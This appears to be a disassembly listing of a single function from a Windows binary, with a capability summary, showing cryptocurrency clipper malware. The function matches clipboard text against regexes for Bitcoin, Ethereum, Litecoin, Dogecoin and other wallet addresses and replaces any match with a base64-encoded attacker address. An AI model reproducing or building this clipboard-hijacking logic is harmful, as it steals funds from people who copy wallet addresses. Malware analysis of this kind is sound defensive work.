Function at 0x1400016d9
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rbp
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
mov qword [rbp + 0x20], rcx
lea rax, [0x1400ee130]
mov qword [rbp - 0x60], rax
lea rax, str._bc1_13___a_zA_HJ_NP_Z0_9_25_39_
mov qword [rbp - 0x58], rax
lea rax, str._bitcoincash:___qp__a_z0_9_41_
mov qword [rbp - 0x50], rax
lea rax, str.0x_a_fA_F0_9_40_
mov qword [rbp - 0x48], rax
lea rax, str._LM3__a_km_zA_HJ_NP_Z1_9_26_33_
mov qword [rbp - 0x40], rax
lea rax, str.D1_5_9A_HJ_NP_U_1_1_9A_HJ_NP_Za_km_z_32_34_
mov qword [rbp - 0x38], rax
lea rax, str._1_9A_HJ_NP_Za_km_z_32_44_
mov qword [rbp - 0x30], rax
lea rax, str.X_1_9A_HJ_NP_Za_km_z_33_
mov qword [rbp - 0x28], rax
lea rax, str.NDh0U2ZCNXlXblBCcFIyamNwV0Q0eTg3Y29KWXR2dmtCMXh2WFY1Z3dyN0c0UjJCWHNlalY1UTlHV3ZOUWtIbUNaUFg4RE1nMUtRc2FUQ3FVMXdWVlVIVlByNVJvc3Q
mov qword [rbp - 0xa0], rax
lea rax, str.YmMxcTd2aHNlZmE5eWhycmhtZTc4NHhmMnV6OHV4czNmMDRlM24zZDk3
mov qword [rbp - 0x98], rax
lea rax, str.cXJ3dmRheXkyNjNrOGFrOWNxM243MndwOWR3YzQzZTBzczloOHlqbnZm
mov qword [rbp - 0x90], rax
lea rax, str.MHg5RGY1MUFCQzI4RTFBOTUyODI0NjE3NkQ5YTdjYkQzRjBCZDc5Njcx
mov qword [rbp - 0x88], rax
lea rax, str.bHRjMXFobnJydWQ1cDc2a3pwM3VwdjBkcjhnNWxwOXRrOWszZGF6Njd4ZA
mov qword [rbp - 0x80], rax
lea rax, str.REJyMlF6WGpWVjU1ZVBtdFQxTmtKZDNFNHFuZTZrYWF6Vg
mov qword [rbp - 0x78], rax
lea rax, str.SkNpbmd4WUhMVmhMdlo0TVNDTjJGNHdSaHpOdjlFWjhNUWQyN01BY2JHY1k
mov qword [rbp - 0x70], rax
lea rax, str.WGJHTWs1Sk5ZRzJLcE11V3o2emlVRlY4NkoyaGkxTTh5ZA
mov qword [rbp - 0x68], rax
mov dword [rbp - 4], 0
jmp 0x140001918
mov eax, dword [rbp - 4]
cdqe
mov rdx, qword [rbp + rax*8 - 0x60]
lea rax, [rbp - 0xd0]
mov r8d, 0x10
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex_char_const__std::regex_constants::syntax_option_type_
lea rdx, [rbp - 0xd0]
mov rax, qword [rbp + 0x20]
mov r8d, 0
mov rcx, rax
call method.bool_std::regex_match_char__std::__cxx11.regex_traits_char____char_const__std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char____const__std::regex_constants::match_flag_type_
test al, al
je 0x1400018fb
mov eax, dword [rbp - 4]
cdqe
mov rax, qword [rbp + rax*8 - 0xa0]
lea rdx, [rbp - 0xa8]
mov rcx, rax
call sym.base64_decode_char_const__unsigned_long_long_
mov qword [rbp - 0x10], rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x1400018e7
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [rbp - 0xa8]
add rax, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1400018de
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x1400018ce
mov rcx, qword [rbp - 0xa8]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rdx, qword [rbp - 0xa8]
mov rax, qword [rbp - 0x20]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp - 0x18]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
jmp 0x1400018de
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
nop
mov ebx, 0
jmp 0x140001900
mov ebx, 1
lea rax, [rbp - 0xd0]
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex__
cmp ebx, 1
jne 0x140001946
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
cmp rax, 7
jbe 0x1400017b6
jmp 0x140001946
nop
add rsp, 0xf8
pop rbx
pop rbp
ret